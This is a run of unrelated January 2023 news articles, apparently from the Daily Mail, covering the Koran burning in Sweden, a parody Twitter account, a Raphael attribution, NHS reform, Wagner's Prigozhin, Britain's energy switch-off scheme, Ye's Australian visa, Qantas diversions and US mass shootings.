Rasmus Paludan said ahead of the book burning that he wanted to 'mark some freedom of speech' after the hanging of an effigy of Turkish President Tayyip Erdogan in Stockholm by pro-Kurdish activists provoked a strong reaction in Turkey.

Turkish officials said the act went against an agreement made under which Sweden and Finland would crack down on Kurdish militants as both sought to appease Turkey in return for their support in joining NATO.

Both Sweden and Finland have populations of ethnic Kurds, many of whom fled persecution in Turkey in the 1970s and 1980s.

An effigy of Turkish President Tayyip Erdogan which provoked a strong response in Turkey

Erdogan yesterday said that Sweden could no longer count on Turkey to support its NATO bid

Finland's top diplomat, Pekka Haavisto, appears to have suggested the country may have to join NATO without Sweden, after Turkey casts doubt on expansion of the military alliance

Indonesia also condemned the permit given for Paludan to burn a Koran on Saturday.

Sweden's ambassador to Indonesia, Marina Berg, was summoned as Jakarta lodged an official complaint.

A spokesperson for the foreign ministry said they would meet with Berg this week.

Ankara, having used the leverage of NATO membership to make demands from Sweden, also called off a visit by Swedish Defence Minister Pal Jonson, saying the meeting 'had lost its significance and meaning'.

State Department spokesperson for the United States said that the Koran burning may have been a deliberate attempt to sabotage unity in NATO on Monday.

Ned Price told reporters that the 'repugnant' and 'disgusting' act was the doing of a 'provocateur' intent on putting distance between Turkey and Sweden.

Paludan previously said: 'The enemy is Islam and Muslims. The best thing would be if there were not a single Muslim left on this earth. Then we would have reached our final goal.'

Far-right activist Rasmus Paludan burns a Koran during an election meeting in May 2022

Hundreds of Afghan men staged a protest in the eastern city of Khost on Tuesday 24 January

Protesters demonstrate outside the Consulate General of Sweden in Istanbul on Sunday

Palestinian students school girls of Al-Jalil school hold copies of the Koran during a protest against the burning of the Kuran in Sweden, in Gaza City on, 24 January 2023

Paludan, who has already been convicted of racist abuse, provoked rioting in Sweden last year when he went on a tour of the country during the Muslim holy month of Ramadan and publicly burned copies of the Koran.

In April 2022, 40 were wounded during riots in Sweden after a rally led by Paludan, which received permission to go ahead from police, saw clashes with counter-protestors.

Four police cars were set on fire and at least five were injured as protestors threw rocks and attacked police cordons.

Paludan led the rally in Sweden to gather support ahead of elections in September 2022, planning to burn the Koran during the holy month of Ramadan.

Rasmus Paludan has been at the centre of anti-Islamic politics in northern Europe for several years.

He rose to fame with the launch of his far-right party Stram Kurs, which translates as 'Hard Line', in Denmark in 2017.

Stram Kurs has gained some traction in Denmark as the country's traditional nationalist party, the Danish People's Party, has lost ground.

The lawyer and YouTuber is known for burning the Koran and for calling for the deportation of all Muslims from Denmark.
A Twitter account claiming to be run by trans activists has claimed their tweet criticizing Aretha Franklin's song 'Natural Woman' for being 'offensive to trans women' was nothing more than 'satire'.

The account, which calls itself 'The Trans Cultural Mindfulness Alliance', had criticized the 1967 song for being offensive and demanded that it be removed from both Apple and Spotify - despite it preaching positive messages regarding women.

But the account, claiming to be founded 'exclusively by trans individuals', rowed back on those tweets and claimed they are a parody account in a tweet and changed their bio - despite defiantly insisting they were a genuine group.

'It is satire, there's no actual TCMA that I'm parodying. It is a commentary on the state of the 'woke' movement in general,' a person who runs the account told DailyMail.com.

A Twitter account calling itself 'The Trans Cultural Mindfulness Alliance' had criticized the song recorded by Aretha Franklin (pictured) in 1967 for being offensive and demanded that it be removed from both Apple and Spotify - despite it preaching positive messages regarding women

BEFORE: The Twitter account calling itself 'The Trans Cultural Mindfulness Alliance' had said in bio the group was founded by trans individuals. They had insisted in since-deleted tweets they were a genuine group

AFTER: The account since changed its bio information to include 'PARODY/SATIRE'

'This is a parody account,' the user, who refused to give their real name, told iHeartRadio 'Never imagined anyone would take it seriously lol,' they said, adding it was intended as a commentary on 'woke' culture and 'media stupidity'.

But this is in direct contradiction to a since-deleted tweet in which the account claimed it was not a parody account. They had written: 'For clarification, the TCMA is not a parody organization,' adding that the organizers 'are a group of trans individuals seeking to make culture more fair for transgender individuals'.

The account has also since changed its bio information to include 'PARODY/SATIRE'.

The bio now reads: 'PARODY/SATIRE: Founded January 2023 exclusively by trans individuals, promoting cultural changes to ensure the inclusivity of trans individuals.'

DailyMail.com has contacted the Twitter account for comment.

Statements made by the account - which had defiantly claimed it was genuine and not a parody account - have spawned outrage, including its January 20 request to pull Franklin's song from streaming platforms like Spotify and Apple Music.

The post, perceived by many as satire before the account claimed it was a parody account, began by asserting the song is offensive to transgender people and that 'there is no such thing as a 'natural' woman.'

'Aretha Franklin's 1968 song 'Natural Woman' perpetuates multiple harmful anti-trans stereotypes,' the post reads, erroneously listing the song's September 1967 release as coming in 1968.

'There is no such thing as a 'natural' woman,' the organization went on to declare, before claiming the song has already 'helped inspire acts of harm against transgender women.'

Statements made by the account (pictured) - which had defiantly claimed it was genuine and not a parody account - have spawned outrage, including its January 20 request to pull Franklin's song from streaming platforms like Spotify and Apple Music

Social media users were quick to question whether or not the account, started just days ago, was a joke designed to fan the flames fueling the ongoing war between progressives and the political right.

Other posts that would follow contained statements deemed by many to equally controversial - and some even more so.

'There have been zero meaningful studies into the gender identities of pets,' one post published later in the day read, in which organizers told parents that children should be able to decide on their pets' gender.

'It seems meaningless, but many children learn gender from their pets,' organizers wrote. 'Just because you bring home a 'gendered' pet, allow your child to choose the gender of the pet - don't assign it one 'at will.''

In another regarding feminine hygiene, organizers wrote: 'You do not need to bleed to have a period. You do not need to ovulate to have a period.

'A period is a state of mind than an actual state of being,' the post went on to state, before stating that biological men who have transitioned 'can absolutely have periods and need free hygiene products.'

Other requests aired by the organization included a ban on listing gender on birth certificates in its native Norway and 'an international police force to prosecute bigotry.'

Despite assertions from many that the group is legitimate, including from TCMA itself, many users remain skeptical, and believe the brazen requests are a gag.

The group, however, attested to its legitimacy in a post published Monday morning.

'For clarification, the TCMA is not a parody organization,' it read, adding that the organizers 'are a group of trans individuals seeking to make culture more fair for transgender individuals.

'We are based in Norway but are seeking to open a chapter in each European country and also North America,' the group revealed.
Ground-breaking new facial recognition technology has revealed that a mystery portrait is actually 'undoubtedly' a masterpiece from Renaissance visionary artist Raphael.

In a first for the sector, a team from the University of Bradford and University of Nottingham used high tech computers to compare the mysterious de Brecy Tondo to Raphael's priceless Sistine Madonna.

Through careful study, the researchers were able to prove that the faces in the picture were identical to others that Raphael had painted.

According to their findings, this means the de Brecy Tondo is highly likely to be a forgotten Raphael.

The de Brecy Tondo was found to be a Raphael due to facial similarities in the subjects of his paintings

The secrets of the priceless Sistine Madonna Raphael's Sistine Madonna was painted in 1514 and has been described as one of his 'truly rare and extraordinary works.' Commissioned by Pope Julius II for the church of San Cisto, Piacenza, the oil painting depicts the Madonna holding Christ flanked by angels. In 1754, the painting was moved to Dresden, Germany where it remained until the end of World War Two - when it was claimed by the Soviet Union. After ten years it was returned to Germany where it remains today. The painting is considered to be priceless. Advertisement

The circular painting was previously thought to have been painted by an unknown artist and has been studied for over 40 years.

In that time, not a single study was able to conclusively link it to Raphael until now.

The value of the painting has now dramatically shot up  with artwork from Raphael regularly selling for millions of pounds.

The unfancied painting had originally been thought to be a Victorian copy of the Sistine Madonna altarpiece.

But high tech computers found that the amazing paintings had far more in common than it would first seem.

Developed by Hassan Ugail, professor of visual computing at the University of Bradford, the artificial intelligence facial recognition system scans the pixels of the image in thousands of dimensions.

It found that the Madonna's were 97% similar and the children 86%.

A similarity above 75% is considered identical.

Prof Ugail explained: 'Looking at the faces with the human eye shows an obvious similarity, but the computer can see far more deeply than we can, in thousands of dimensions, to pixel-level.

'Based on the high evaluation of this analysis, together with previous research, my fellow co-authors and I have concluded identical models were used for both paintings and they are undoubtedly by the same artist.'

The Sistine Madonna is considered one of Raphael's finest works of art and is priceless

Researchers used high tech facial recognition technology to scan the two portraits for similarities

The University of Nottingham's Dr Christopher Brooke said: 'Direct facial comparison comes out at a match of 97% - a very high statistical probability that the artworks are by identical creators.

'Further confirmation comes from analysis of the pigments employed in the Tondo, which have demonstrated that the painting's characteristics are considered to be typical of Renaissance practice and therefore highly unlikely to be a later copy.

'This is an exciting piece of work that promises much for the future examination of works of art.'

No decision has yet been made on the future of the new Raphael.

The de Brecy Trust Collection's of paintings and drawings are available for art scholars for study.

Timothy Benoy, honorary secretary of the de Brecy Trust, said: 'The trust is absolutely delighted that this new scientific evidence confirms the Raphael attribution of the Tondo.

'It illustrates very forcibly the increasing value of scientific evidence in the attribution of a painting.'
Companies should be offered tax beaks to encourage them to offer staff private healthcare to ease pressure on the NHS, a former minister said today.

Jacob Rees-Mogg, the ex-business secretary, became the latest Tory grandee to urge changes to the health system as he urged the party to abandon its 'nervousness' about the subject.

In a podcast he said they should be 'encouraging' people to go private as the NHS buckles under massive pressure.

It comes after former health secretary Sajid Javid at the weekend suggested that people be charged for GP appointments and going to A&E to help ease the crisis.

Jacob Rees-Mogg, the ex-business secretary, became the latest Tory grandee to urge changes to the health system as he urged the party to abandon its 'nervousness' about the subject.

In a podcast he said they should be 'encouraging' people to go private as the NHS buckles under massive pressure.

It comes after former health secretary Sajid Javid at the weekend suggested that people be charged for GP appointments and going to A&E to help ease the crisis

In his Moggcast podcast for the Conservative Home website Mr Rees-Mogg, who was in the Cabinet until September, said there was new 'political appetite for reform' of the health service.

He highlighted comments by Labour's shadow health secretary Wes Streeting on changes to the way GPs work and said the Tories 'need to be thinking about it very seriously'.

'I think we should encourage people to use private health, I don't understand the nervousness about using private health which makes the queues for public health lower,' he said.

Asked about a call by fellow Tory James Cartlidge for tax beaks for private health insurance schemes, he added: 'As a general rule I'm in favour of low tax rates and very few breaks.

'I think there is a very good argument to be made for saying that companies should be able to provide health care for their employees on a tax deductible basis rather than it being fully taxed to National Insurance.'

Mr Javid proposed charging patients to see their GPs or attend Accident and Emergency departments as a way of reducing demand on the system.

He accused the public of having an appreciation of the NHS which approaches that of 'a religious fervour', which he describes as a 'barrier to reform'.

He said charging at the point of service would be 'extending the contributory principle', stressing that those on low incomes would be protected.

Writing in The Times, Mr Javid described the current system was 'unsustainable' and the only method for rationing NHS services was to make people wait on a list.

He said the country needed a 'grown up and hard-headed conversation', while cross party support was needed to bring in new charges.

The Prime Minister is not 'currently' considering the proposals, Downing Street told the newspaper.

Mr Sunak mooted fining patients who missed GP or hospital appointments 10 during his unsuccessful run for the Tory Party leadership against Liz Truss. However, days after getting the keys to Number 10, he performed a u-turn.

The PM's official spokesman said: 'The Government's long-standing position is that the NHS is and will remain free at the point of delivery, free at the point of access.

'That will not change. Obviously it is up to individuals if they are able to make the decision on whether they wish to seek private health care.

'On the Government's part, our focus is on improving access to the NHS - whether that's by providing additional appointments at GPs or tackling some of the backlogs that are leading to longer waits for treatments.'
Wagner warlord Yevgeny Prigozhin has risked further angering Vladimir Putin by dismissing Moscow's generals as 'a bunch of clowns' while boasting that his mercenary army is superior to the Russian Armed Forces.

Ambitious henchman Yevgeny Prigozhin - who runs the 50,000-strong Wagner private army - is increasingly seen as posing a rising threat to the Kremlin leader with his daily grandstanding and outspoken boasts.

His relations with Putin are increasingly strained, say reports, but Prigozhin continues to taunt the Kremlin president and his army top brass as his Wagner mercenaries and Ukrainian forces remain locked in battle over the city of Bakhmut.

In further embarrassment to Russia's military, Britain's Ministry of Defence reported that another top Russian generals - General Colonel Mikhail Teplinsky - had been dismissed as one of Moscow's key commanders of forces in Ukraine.

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Wagner warlord Yevgeny Prigozhin has risked further angering Vladimir Putin by dismissing Moscow's generals as 'a bunch of clowns' while boasting his mercenary army is superior to the Russian Armed Forces. Pictured: Prigozhin is seen in footage speaking to Wagner fighters

Ambitious henchman Yevgeny Prigozhin - who runs the 50,000-strong Wagner private army - is increasingly seen as posing a rising threat to Russian president Vladimir Putin with his daily grandstanding and outspoken boasts. Pictured: Prigozhin (left) and Putin together in 2010

'Teplinsky was the officer on the ground in charge of Russia's relatively successful withdrawal from west of the Dnipro in November 2022, and he has received praise in Russia as a capable and pragmatic commander,' the MoD's update said.

It was unclear whether the general remains as the head of Russia's airborne forces (VDV) as well, with the MoD suggesting that 'debate over the tasks VDV has been given has contributed to his dismissal.

'Teplinsky's dismissal is likely another symptom of continued divisions within the senior hierarchy of Russia's operation as General Valery Gerasimov attempts to impose his personal authority on the campaign.'

The MoD added: 'The Russian force continues to endure operational deadlock and heavy casualties; Gerasimovs prioritisation of largely minor regulations is likely to confirm the fears of his many sceptics in Russia.'

Meanwhile, in Prigozhin's most recent reproach against Moscow, the Wagner boss claimed his ragbag fighters, who are mostly convicts plucked from prison and put into uniforms, have achieved heroics greater than Soviet soldiers at the Battle of Stalingrad, a key military turning point in the Second World War.

He has also openly mocked General Valery Gerasimov - the Russian commander-in-chief - who ordered that Russian soldiers should shave off their beards as part of a discipline drive in the armed forces.

Russia's defence chiefs were 'a bunch of clowns' seeking the 'glamorisation of the army', raged Prigozhin, a Soviet-era jail inmate who came to fame arranging banquets and managing online troll factories for Putin.

'Female war correspondents go into the absolute heat of [war],' said Prigozhin.

'Jail inmates fight better than units of the Guards. Servicemen with broken spines pass on their military experience at training camps, moving around like robots.

'And a bunch of clowns try to teach fighters exhausted with hard military labour how many times they ought to shave  and what kind of perfume they must use to greet high commanders.'

He hit out: 'I believe we must introduce legal restrictions, and the harshest punishment with a jail term of up to 50 years for the glamorisation of the army.'

Pictured: Scenes of destruction are seen in video footage from Soledar, which Wagner claimed this month to have captured without the help of Russia's military

Prigozhin likened the fighting in Soledar to the battle of Stalingrad lasted from 23 August 1942 to 2 February 1943, resulting in millions of deaths. Russia's victory was a key blow to Hitler

He backed Chechen leader Ramzan Kadyrov, a Russian colonel-general, who has also sent thousands of fighters to Ukraine - many of them Muslim, like him, with beards.

Kadyrov said: 'I can only imagine the sense of astonishment among our fighters, who didn't know about such a dangerous enemy in their ranks as facial hair.

'Drop your machine guns, let's go and shave. The Nazis can just wait a while discussing their fascist business (a reference to the Kremlin's repeated false claims that Ukraine is run by a Nazi government).

'As if there are no problems at the front. What kind of stupid thing is this?'

It amounted to 'a provocation meant to stifle the morale of [Russian] fighters'.

He blamed loyalist MP and Gerasimov ally Lt General Viktor Sobolev over the blunder after he suggested shaving was 'an elementary requirement of military discipline'.

Progozhin said: 'I take this opportunity to ask you, Ramzan, to grow your beard twice as long, for yourself and for me.'

Prigozhin also doubled down on his boast that his Wagner force - which includes murderers, rapists, robbers and fraudsters - had taken the town Soledar from Ukraine without the help of Russia's conventional forces, dressing up the achievement as superior to the epic history book Red Army success in Stalingrad, now Volgograd.

Earlier this month, Prigozhin bragged that his fighters had single-handedly taken control of the eastern Ukrainian town of Soledar, which has been razed by fighting.

He declared Wagner was probably 'the most experienced army in the world today.'

Prigozhin openly mocked General Valery Gerasimov - the Russian commander-in-chief - who ordered that Russian soldiers should shave off their beards as part of a discipline drive in the armed forces. Russia's defence chiefs were 'a bunch of clowns' seeking the 'glamorisation of the army', raged Prigozhin, who backed Chechen warlord Ramzan Kadyrov. Kadyrov and his fighters are Muslim, and have beards

Pictured: A man wearing a camouflage uniform walks out of PMC Wagner Centre, which is a project implemented by the businessman and founder of the Wagner private military group Yevgeny Prigozhin, during the official opening of the office block in Saint Petersburg, Nov. 4

His rant came as he addressed convicts who had served six months in the war zone, who he pardoned from their convictions under a secret decree from Putin.

'I have come to say thank you for what you have done, from myself.and from the motherland,' said Prigozhin. 'You have gone through six months of hard warfare.

'Neither your grandfathers, nor great-grandfathers, were involved in such battles [in World War Two]. Those who were at Soledar know that even Stalingrad pales in comparison, so thank you. The Motherland and our people are in debt to you.'

He urged the newly liberated criminals to forget their past lives but also the barbarism of war as they return to civilian life.

They should keep their 'adrenaline inside' and forget what they had learned at the front. In civilian life 'there are no enemies, everyone's a friend'.

After facing online mockery for his Stalingrad comparison, he posted videos which he said showed similar devastation.

The Battle of Stalingrad lasted from 23 August 1942 to 2 February 1943, resulting in millions of deaths. Russia's victory was a key blow to Hitler.

'I treat the history of our ancestors with respect, but here are videos I made from a car window when approaching Soledar,' said Prigozhin, who is nicknamed Putin's 'chef', even though his blind loyalty is now questioned.

The Institute for the Study of War (ISW) said this week that Prigozhin's 'advertising' of the 'superiority and successes of his own troops' had become 'overbearing and ostentatiously swaggering' and was grating with Putin.
Britons have revealed how they sat in the dark for an hour last night as 1million homes and businesses slashed their electricity use only to be told they will get as little as 5p off their energy bills.

National Grid has said the great British switch off, called the Demand Flexibility Service (DFS), could become a feature of British life with another one taking place between 4.30pm and 6pm tonight.

Rising energy tariffs and the cold weather has seen many households resorting to desperate measures to make savings and 1million homes and businesses have rushed to sign up to a scheme that pays them to turn off washing machines, ovens, dishwashers and, even, the lights.

One family from Bedfordshire told MailOnline how they sat in the dark between 5pm and 6pm yesterday with only a torch after being promised a rebate of up to 20 from the National Grid. But many believe it will work out at a few pence.

Suzanne Murray, an administrator from Southampton who took part yesterday told the BBC: 'E.ON have told me that if I hit my target of 20% reduction... I could earn around 5p. That's not worth it'.

Amanda Boorah and her family went on a bike ride to avoid using electricity at home but many others who wanted to sign up were told they couldn't.

Amanda Boorah and her family went on a bike ride to avoid using electricity at home

The National Grid is encouraging homeowners to take part in the scheme in a bid to avoid potential blackouts - this is how much they could save. Experts have suggested its customers could save as much as 240 this winter if there are 12 Demand Flexibility Service events called by the National Grid

Demand to take part has been so high that some energy companies are turning people away as trial schemes are full. British Gas customers told MailOnline that they had begged to sign up only for staff to say they knew nothing about it.

One said: 'British Gas are top of the list of the 26 suppliers supposed to be in the scheme. I have a Smart Meter. I have an account. I have the app. No mention of the scheme is evident ANYWHERE'.

Another wrote: 'I called their customer service helpline this morning, and although the lady I spoke with was very pleasant and tried to help, she didnt know initially what I was speaking about. She came back to me after having checked and she stated that I was correct. However, she stated that only some emails had been sent out'.

She added: 'It is unfair that genuine Smart meter customers are going to lose out on the 20 because the emails to me and others havent been sent'.

British Gas customer Russell Purdie, from Blackpool, spent more than an hour trying to sign up to the service yesterday after reading about it in the news.

Mr Purdie, 64, said: I know Im eligible because Ive got a smart meter but I checked my emails and I was never invited. Ive spoken to two different people using online chat and no one seems to have a clue how to get me signed up.

Its frustrating because Id like to be a part of it but its just been impossible.

Some people have already signed up to trial switch-off schemes but have received a smaller amount of money than expected. National Grid predicted it could be up to 20.

One person who signed up told MailOnline he received an email from energy supplier Eon that said he would only earn 'around 30p' by participating in the DFS initiative. Others claimed they'd only received between 0.38 and 4.07.

Another Eon customer, Sharon Priestly, said she had been informed she had earned just 58p.

It went live on a national scale last night (mon) when people were asked to reduce electricity use for one hour  between 6pm and 7pm. And it will be triggered again for 90 minutes this afternoon between 4.30pm and 6pm.

Brits shared snaps of their smart meters online to show how little electricity they were using

Some took the opportunity to enjoy candlelit dinners

Brits are taking to social media to display their candlelit or LED-lit setups to see them through the optional blackout

During a false alarm earlier this month it was suggested that a lack of wind was a major reason. This time outages at gas and nuclear plants are a bigger factor.

Separately, the National Grid has put coal fired power stations on standby that they may be needed to keep the lights on at periods of high demand.

The measures are designed to save energy without resorting to drastic actions such as black outs.

In general, participants in the DFS scheme are asked to cut their energy by 30 per cent compared to normal peak usage in response for a cash reward.

During trials, most have made a very modest cash saving of around 4, however the top 5 per cent of normally heavy users have been able to save over 20.

Octopus has increased the cash reward for its customers by 50 per cent to 3.37 per kWh or energy saved against target. As a result, they would typically save around 5.50 and potentially as much as 30.

One lucky participant will win a 500 bonus towards their bills in a customer lottery.

It is understood a record figure  400,000-500,000  of its customers took part last night and will do so again today.

A spokesman said: If you live in a large multiple person household and normally use a lot of energy at 5pm, turning down your white goods, and turning off your oven, your microwave or TV, is probably going to save you quite a lot of money.

We are not encouraging people to sit in the dark and live by candlelight.

Phil Hewitt, director at the energy consultancy EnAppSys, said energy margins between supply and demand are currently tighter because of outages at gas and nuclear power stations.

He said offering people money to cut energy use is cheaper for the National Grid than asking an electricity company to fire up a mothballed power station.

National Grid warned in October that homes could face three-hour rolling power cuts this winter if the country is unable to secure enough gas and electricity imports. It launched the DFS as part of its tool box to help prevent cuts.

The Grid said people should not worry and insisted the implementation of the scheme does not mean electricity supplies are at risk.

The National Grid ESOs head of national control, Craig Dyke, said the DSF has been ordered to ensure that everyone gets the electricity they need.

He refused to rule out using the world-leading scheme every winter, saying it will drive forward towards net zero.

Asked if it could become a feature of British life each winter, Mr Dyke told the BBC: Its something we strongly believe in. This is the start of something much, much bigger.
Former Home Affairs minister Peter Dutton has called for the artist formerly known Kanye West to be barred from entering Australia ahead of his anticipated trip.

Ye, as he is now known, married Australian woman Bianca Censori, 27, in a non-binding ceremony earlier this month in Utah and is rumoured to be travelling to Melbourne next week to meet her family.

The local Jewish community is already demanding the Albanese government knock back any potential visa application following the outspoken rapper's series of very public anti-Semitic and pro-Nazi rants made over the past several months.

Kanye West married Bianca Censori, 27, (pictured) in a non-binding ceremony in Utah earlier this month

Ye, as West (pictured) now goes by, is rumoured to be making a trip to Australia to meet her Melbourne-based family

While the trip has been speculated, neither Ye nor the Australian government has confirmed it is happening with Immigration Minister Andrew Giles saying he would not publicly comment on individual travel applications.

'All non-citizens must meet, and continue to meet, requirements set out in the Migration Act, including security and character requirements,' a spokesperson for Mr Giles said in a statement.

In an interview on 3AW radio on Tuesday, federal Opposition leader Peter Dutton said Ye's remarks were ''disgraceful' that 'his conduct and his behaviour is appalling' and that he's 'not a person of good character'.

Dutton, who was also Minister for Defence in the Scott Morrison government, is a staunch conservative who leads the National Right faction of the Liberal Party.

'I've got to say, my inclination would be not to allow him in,' he said.

'The minister's got a lot to weigh up, but I must say my instinct would be if I was that decision maker, I think there are better people we could welcome in.'

Federal Opposition leader and former Home Affairs minister Peter Dutton (pictured) said he would not let West in the country if the decision was his following the rapper's repeated anti-Jewish remarks

West made increasingly anti-Jewish comments in interviews and on social media throughout 2022.

He publicly claimed 'Jewish Zionists' were putting negative stories in the media about him and was blocked on Instagram after insisting fellow rapper Sean Combs, or Diddy, was being 'controlled by Jews'.

On Twitter, he said he would soon go 'death con 3 on Jewish people' in reference to the American military's DEFCON alert ratings and was suspended on that platform after he later tweeted an image of a Nazi swastika intertwined with a Jewish Star of David.

In an October 16 interview he claimed 'Jewish people have owned the Black voice' and that 'the Jewish community, especially in the music industrythey'll take us and milk us till we die'.

Ye also appeared on a podcast with notorious far-right conspiracy theorist Alex Jones and on his 'InfoWars' television show where he talked at length about his favourable view of Nazis and that he 'loves Hitler'.

His partnerships with a raft of high profile companies such as Vogue, CAA, Balenciaga, Gap, and Adidas were subsequently torn up - costing him by some estimates more than $1billion.

Some have voiced concerns about Ye's mental health after his erratic behaviour, with the 22-time Grammy winner previously revealing he had bi-polar disorder.

Others - going back to his days appearing regularly alongside Donald Trump - have even questioned if the behaviour was some kind of elaborate piece of long-running performance art.

'I see good things about Hilter... every human being has something of value that they brought to the table, especially Hitler,' said West (pictured) in an interview with Alex Jones

Co-chief executive of the Executive Council of Australian Jewry, Peter Wertheim, has written to the Immigration Minister asking Ye be disallowed from entering the country because he would incite racism.

'Unfortunately, because of his status as a celebrity musician, West has the capacity to exercise enormous influence over younger people,' he wrote.

'There is a significant risk that he would vilify a segment of the Australian community (the Australian Jewish community and First Nations Australians) or incite discord... (namely those who are hostile to Jews and/or First Nations Australians).'

Dvir Abramovich, from the Anti-Defamation Commission was more blunt, calling Ye an 'unrepentant Holocaust denier, who likes to hang out with white supremacists, who issued death threats against the Jewish community, who says he loves Nazis and admires Hitler'.

'This kind of rhetoric is dangerous and has real-world consequences given the more than 30 million followers that this person has, and who may start believing that his demonisation of the Jewish community and that they must act,' he said.

West has not officially confirmed his new marriage to Censori's who says on her LinkedIn page she met the rapper at least two years ago when she took a job as an architectural designer at West's Yeezy business.

Before that, she worked as a trainee architect at DP Toscano Architects  a firm in Collingwood, inner-city Melbourne  and ran her own jewellery brand.

Censori (pictured) met West when she took on a job in architectural design in his Yeezy business

West and Kim Kardashian (pictured) divorced in 2022 and have joint custody of their four children

West and ex-wife Kim Kardashian finally settled their divorce in November, but even if they hadn't it wouldn't have affected his 'marriage' to Censori as it was non-binding.

During their highly-publicized legal battle, the rapper attempted to oppose Kardashian's efforts to be declared legally single - but a judge granted her request in March 2022.

After spending nearly two years battling it out in court, the exes came to an accord on the custody of their four kids, parenting plans and division of their multimillion dollar real estate portfolio.

The agreement granted Kardashian $200,000 in child support monthly, with the two having joint custody and 'equal access' to their four kids.
Yet another Qantas plane has been forced to turn around mid-air after a horror week of emergency landings for the flagship airline.

Flight QF1608 from Perth to Kalgoorlie in Western Australia was forced to do circles over the capital city due to a 'mechanical fault' on Tuesday.

The Fokker 100 aircraft took off at 3:50pm and was in the air for just 50 minutes before it made a safe landing at Perth Airport.

A Qantas spokeswoman said the one hour journey was cut short due to a 'minor mechanical issue' that delayed the flight by more than three hours.

She said the plane could have continued to Kalgoorlie but that a lack of engineering support in the city meant it was inspected by engineers in Perth instead.

The diversion is just the latest in a string of incidents to rock Qantas in the past seven days, with a plane forced to issue a mid-flight mayday call after an engine failed last week.

The Fokker 100 aircraft took off at 3:50pm on Tuesday and was in the air for just 50 minutes before it made a safe landing at Perth Airport (pictured)

It comes after Qantas flight QF144 (pictured) from Auckland to Sydney was forced to issue a mid-air mayday call halfway through the three-hour journey on Wednesday

Qantas flight QF144 from Auckland to Sydney last Wednesday was forced to issue a mayday call halfway through the three-hour journey after an engine failed.

Then on Thursday, flight QF101 was forced to turn back to Sydney airport after it suffered a 'potential mechanical issue' on its way to Fiji.

The passenger jet was on its way to Nadi Airport at around 9am when it turned around and landed back at Sydney airport just before 11am.

'The pilots followed standard procedures and the aircraft has landed normally in Sydney,' a Qantas spokesperson said on Thursday.

On Friday, two Qantas planes were again forced to turn around shortly after take-off due to mechanical issues - marking the airline's fourth diversion in three days.

Flight QF1516 from Melbourne to Canberra turned-back on Friday morning after pilots noticed an issue with the flaps of the Boeing 717 aircraft.

The plane took off from Melbourne Airport at 10.10am and was in the sky for just 17 minutes before it circled back and landed at 10.27am.

It came just minutes after after pilots on flight QF430 from Melbourne to Sydney were alerted to a 'minor engine issue' and turned the plane around.

The Boeing 737 aircraft took off from Tullamarine Airport at 9.28am before completing a large loop and returning just 50 minutes later at 10.18am.

The Boeing 737 took off from Tullamarine Airport at 9:28am before completing a large loop and returning just 50 minutes later at 10:18am (pictured, a Boeing 737 at Sydney Airport)

Georgia, left, said: 'You wouldn't have known anything was going on really.' Meanwhile, an English woman (right) praised the passengers on-board the flight, as well as the crew for their calmness

A packed Qantas plane travelling from Melbourne to Sydney on Friday was forced to turn around mid-flight after pilots were alerted to a 'minor engine issue'

QANTAS DIVERTS FOUR PLANES IN THREE DAYS Wednesday 18/1 Flight QF144 from Auckland to Sydney was forced to issue a mid-air mayday call halfway through the journey. Thursday 19/1 Flight QF101 from Sydney to Fiji was forced to turn back after it suffered a 'potential mechanical issue'. Friday 20/1 Flight QF1516 from Melbourne to Canberra forced to turn back after an issue with the flaps. Flight QF430 from Melbourne to Sydney turned around after pilots noticed a 'minor engine issue'. Advertisement

A Qantas spokesperson told Daily Mail Australia that customers on both of the diverted planes were booked on other flights.

'The aircraft landed normally  this was not an emergency or priority landing. Both engines remained operational throughout the flight,' they said of the flight from Melbourne to Canberra.

On Monday, a Qantas plane travelling from Adelaide to Perth was forced to turn around due to incomplete paperwork.

Flight QF887 departed at 3:35pm and almost made it to the WA border before the Airbus A330 was suddenly forced to turn around and land back at Adelaide Airport at 6:50pm.

A Qantas spokesperson said there had been no technical issues with the plane but that the correct paperwork had not been finalised for the aircraft to land.

The plane departed for Perth at 7:30pm.

'Once paperwork was finalised after engineering sign-off in Adelaide, the flight departed for Perth and landed four hours after the scheduled arrival time,' the spokesperson told the ABC.

Passengers on the flight from Auckland to Sydney last Wednesday have revealed they heard a loud bang after the left engine failed mid-journey.

However, the majority onboard were blissfully unaware of the issue until they landed at Sydney airport and were met by a flurry of reporters.

The first travellers to alight the plane said they were not told the 747-800 had suffered engine failure, simply that there was an issue after the loud bang.

Passenger Simone Schmidt told the media: 'We were told nothing had happened, they were totally professional and we only found out when we got back on land.

Flight tracking showed a Qantas plane travelling from Sydney to Fiji on Thursday doing loops off the coast after encountering a 'potential mechanical issue'

'I heard just a bang and maybe a slight shudder but that was it. We had no idea at the time, we didn't realise the whole engine had gone, we just heard a bang.'

Her husband Colin added: 'There were a few gasps when they told us when we were back on the runway but by then we had already landed.

'Even then they told us that it had been a slight malfunction.'

Another woman named Georgia said: 'You wouldn't have known anything was going on really. We had no clue of anything that had happened, it was good.

Qantas domestic chief executive Andrew David said the airline averaged about 60 turnbacks a year out of 10,000 across the industry.

He added there were an estimated 400 to 500 engine shutdowns a year across all narrow body jet aircraft around the world, and Qantas' shutdown rate on the 737 was 'well below the industry average'.

'It's important to put these things in context. Across aviation, there are diversions and air turn backs happening every day for a range of reasons.

Qantas domestic chief executive Andrew David said the airline averaged about 60 turnbacks a year out of 10,000 across the industry (pictured, a Qantas plane at Sydney airport)

'They usually reflect an abundance of caution and that's why flying is such a safe way to travel.

'We understand that when you hear reports of planes turning around, it's concerning.

'But people can be assured that aviation is built on safeguards, and one of those safeguards is that if something isn't right, we take a conservative approach to the problem rather than pressing on.'

Mr David aircraft were complex pieces of machinery with millions of moving parts and was not uncommon to have a problem with one of them.

'What's important to know is that aircraft are designed with that in mind and have a lot of built in redundancy, and our crew are trained to deal with those situations so that they can land safely,' he said.

Qantas will investigate all six incidents to identify and address issues.
At this time this last year, America had seen 27 mass shootings, data shows

Within first 24 days of this year, 70 people killed in 39 mass shootings in US

There have been more Mass Shootings in the US than days this year, including four in just eight days in California that have left 26 people dead.

Within the first 24 days of this year, 70 people have been killed and 167 injured in 39 mass shootings, according to the Gun Violence Archive, an institute tracking shootings in the country.

At this time last year, America had seen 27 mass shootings, according to the Archive, which defines mass shootings as an incident where at least four people are shot and injured or killed.

In California, just two days after gunman Huu Can Tran killed 11 people at a ballroom dance hall, seven more victims were shot dead in an agricultural area near San Francisco on Monday.

